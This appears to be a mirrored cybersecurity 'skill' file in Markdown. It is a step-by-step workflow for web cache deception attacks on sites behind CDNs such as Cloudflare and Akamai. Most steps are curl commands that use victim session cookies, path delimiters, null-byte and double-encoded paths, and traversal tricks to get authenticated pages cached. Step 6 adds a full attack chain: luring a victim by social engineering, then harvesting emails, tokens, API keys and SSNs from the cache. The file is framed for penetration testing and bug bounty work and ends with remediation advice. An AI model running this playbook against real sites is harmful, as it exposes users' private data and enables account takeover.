mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-14 06:54:57 +03:00
203 lines
8.2 KiB
Markdown
203 lines
8.2 KiB
Markdown
---
|
|
name: performing-web-cache-deception-attack
|
|
description: Execute web cache deception attacks by exploiting path normalization discrepancies between CDN caching layers and origin servers to cache and retrieve sensitive authenticated content.
|
|
domain: cybersecurity
|
|
subdomain: web-application-security
|
|
tags: [web-cache-deception, cdn-attack, cache-poisoning, path-normalization, cloudflare, cache-key, static-resource]
|
|
version: "1.0"
|
|
author: mahipal
|
|
license: MIT
|
|
---
|
|
|
|
# Performing Web Cache Deception Attack
|
|
|
|
## When to Use
|
|
- When testing applications behind CDNs or reverse proxies (Cloudflare, Akamai, Varnish, Nginx)
|
|
- During assessment of authenticated page caching behavior
|
|
- When evaluating path normalization differences between caching and origin layers
|
|
- During bug bounty hunting on applications with aggressive caching policies
|
|
- When testing for sensitive data exposure through cache layer misconfiguration
|
|
|
|
## Prerequisites
|
|
- Understanding of HTTP caching mechanisms (Cache-Control, Vary, Age headers)
|
|
- Knowledge of CDN path normalization and cache key construction
|
|
- Burp Suite for intercepting and crafting requests
|
|
- Two browser sessions (authenticated victim and unauthenticated attacker)
|
|
- Understanding of URL path parsing differences across technologies
|
|
- Familiarity with common CDN platforms (Cloudflare, Akamai, Fastly, AWS CloudFront)
|
|
|
|
## Workflow
|
|
|
|
### Step 1 — Identify Caching Layer and Behavior
|
|
```bash
|
|
# Determine if a caching layer exists
|
|
curl -I http://target.com/account/profile
|
|
# Look for: X-Cache, CF-Cache-Status, Age, Via, X-Varnish headers
|
|
|
|
# Check caching rules for static extensions
|
|
curl -I "http://target.com/static/style.css"
|
|
# Look for: X-Cache: HIT, CF-Cache-Status: HIT, Age: >0
|
|
|
|
# Identify which extensions are cached
|
|
for ext in css js png jpg gif svg ico woff woff2 pdf; do
|
|
echo -n "$ext: "
|
|
curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
|
|
done
|
|
```
|
|
|
|
### Step 2 — Test Path-Based Cache Deception
|
|
```bash
|
|
# Classic web cache deception: append static extension to dynamic URL
|
|
# Victim visits: http://target.com/account/profile/nonexistent.css
|
|
# If origin returns profile page and CDN caches it based on .css extension:
|
|
|
|
# Step 1: As victim (authenticated), visit:
|
|
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"
|
|
|
|
# Step 2: As attacker (unauthenticated), request same URL:
|
|
curl "http://target.com/account/profile/anything.css"
|
|
# If victim's profile data is returned, cache deception is confirmed
|
|
|
|
# Test various extensions
|
|
for ext in css js png jpg svg ico woff2; do
|
|
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
|
|
sleep 2
|
|
echo -n "$ext: "
|
|
curl -s "http://target.com/account/profile/x.$ext" | head -c 200
|
|
echo
|
|
done
|
|
```
|
|
|
|
### Step 3 — Exploit Delimiter-Based Discrepancies
|
|
```bash
|
|
# Use path delimiters that CDN and origin interpret differently
|
|
# Semicolon delimiter (ignored by CDN, processed by origin)
|
|
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"
|
|
|
|
# Encoded characters
|
|
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
|
|
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"
|
|
|
|
# Null byte injection
|
|
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"
|
|
|
|
# Fragment identifier abuse
|
|
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"
|
|
|
|
# Dot segment normalization
|
|
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"
|
|
```
|
|
|
|
### Step 4 — Test Normalization Discrepancies
|
|
```bash
|
|
# Path traversal normalization differences
|
|
# CDN normalizes: /account/profile/../static/x.css -> /static/x.css (cached)
|
|
# Origin sees: /account/profile (dynamic page returned)
|
|
|
|
curl -b "session=VICTIM" "http://target.com/static/../account/profile"
|
|
# CDN may cache as /account/profile if it normalizes differently than origin
|
|
|
|
# Encoded path traversal
|
|
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"
|
|
|
|
# Case sensitivity differences
|
|
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"
|
|
|
|
# Double-encoded paths
|
|
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"
|
|
```
|
|
|
|
### Step 5 — Exploit Cache Key Manipulation
|
|
```bash
|
|
# Identify cache key components
|
|
# CDN may use: scheme + host + path (excluding query string)
|
|
# Test if query string affects caching
|
|
|
|
curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"
|
|
|
|
# Test if the CDN uses the full path or normalized path as cache key
|
|
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
|
|
curl "http://target.com/account/profile/./style.css" # Check if cached
|
|
|
|
# Header-based cache key manipulation
|
|
curl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \
|
|
"http://target.com/static/cached.css"
|
|
```
|
|
|
|
### Step 6 — Verify and Document the Attack
|
|
```bash
|
|
# Full attack chain:
|
|
# 1. Craft malicious URL: http://target.com/account/profile/x.css
|
|
# 2. Send URL to victim (via social engineering, email, etc.)
|
|
# 3. Victim clicks link while authenticated
|
|
# 4. CDN caches the authenticated response
|
|
# 5. Attacker requests the same URL without authentication
|
|
# 6. CDN serves cached authenticated content to attacker
|
|
|
|
# Verify cache status
|
|
curl -I "http://target.com/account/profile/x.css"
|
|
# Confirm: X-Cache: HIT or CF-Cache-Status: HIT
|
|
|
|
# Check what sensitive data is exposed
|
|
curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn"
|
|
```
|
|
|
|
## Key Concepts
|
|
|
|
| Concept | Description |
|
|
|---------|-------------|
|
|
| Cache Deception | Tricking CDN into caching authenticated dynamic content as static resource |
|
|
| Path Normalization | How CDN and origin differently resolve path segments (../, ;, encoded chars) |
|
|
| Cache Key | The identifier CDN uses to store/retrieve cached responses (typically URL path) |
|
|
| Static Extension Trick | Appending .css/.js/.png to dynamic URLs to trigger caching behavior |
|
|
| Delimiter Discrepancy | Characters (;, ?, #) interpreted differently by cache vs. origin server |
|
|
| Cache Poisoning vs Deception | Poisoning modifies cache for all users; deception caches specific victim data |
|
|
| Vary Header | HTTP header controlling which request attributes affect cache key |
|
|
|
|
## Tools & Systems
|
|
|
|
| Tool | Purpose |
|
|
|------|---------|
|
|
| Burp Suite | HTTP proxy for crafting cache deception requests |
|
|
| curl | Command-line testing of cache behavior and response headers |
|
|
| Web Cache Vulnerability Scanner | Automated tool for detecting cache deception/poisoning |
|
|
| Param Miner | Burp extension for discovering unkeyed cache parameters |
|
|
| Cloudflare Diagnostics | Analyzing CF-Cache-Status and cf-ray headers |
|
|
| Varnish CLI | Direct cache inspection for Varnish-based setups |
|
|
|
|
## Common Scenarios
|
|
|
|
1. **Profile Data Theft** — Cache authenticated user profile pages containing PII (email, address, phone) by appending .css extension to profile URLs
|
|
2. **API Token Exposure** — Cache API dashboard pages showing tokens and secrets through path manipulation on CDN
|
|
3. **Account Takeover** — Cache pages containing session tokens or CSRF tokens, then use stolen tokens for account takeover
|
|
4. **Financial Data Exposure** — Cache banking or payment pages showing account balances and transaction history
|
|
5. **Admin Panel Caching** — Cache admin pages accessible through delimiter-based path confusion on CDN
|
|
|
|
## Output Format
|
|
|
|
```
|
|
## Web Cache Deception Report
|
|
- **Target**: http://target.com
|
|
- **CDN**: Cloudflare
|
|
- **Vulnerability**: Path-based cache deception via static extension appending
|
|
|
|
### Cache Behavior Analysis
|
|
| Extension | Cached | Cache-Control | TTL |
|
|
|-----------|--------|---------------|-----|
|
|
| .css | Yes | public, max-age=86400 | 24h |
|
|
| .js | Yes | public, max-age=86400 | 24h |
|
|
| .png | Yes | public, max-age=604800 | 7d |
|
|
|
|
### Exploitation Results
|
|
| Victim URL | Cached Data | Sensitive Fields |
|
|
|-----------|-------------|-----------------|
|
|
| /account/profile/x.css | Full profile page | Email, Name, API Key |
|
|
| /account/settings/x.js | Settings page | 2FA backup codes |
|
|
|
|
### Remediation
|
|
- Configure CDN to respect Cache-Control: no-store on dynamic pages
|
|
- Implement Vary: Cookie header on authenticated endpoints
|
|
- Use path-based routing rules that reject unexpected extensions
|
|
- Enable consistent path normalization between CDN and origin
|
|
```
|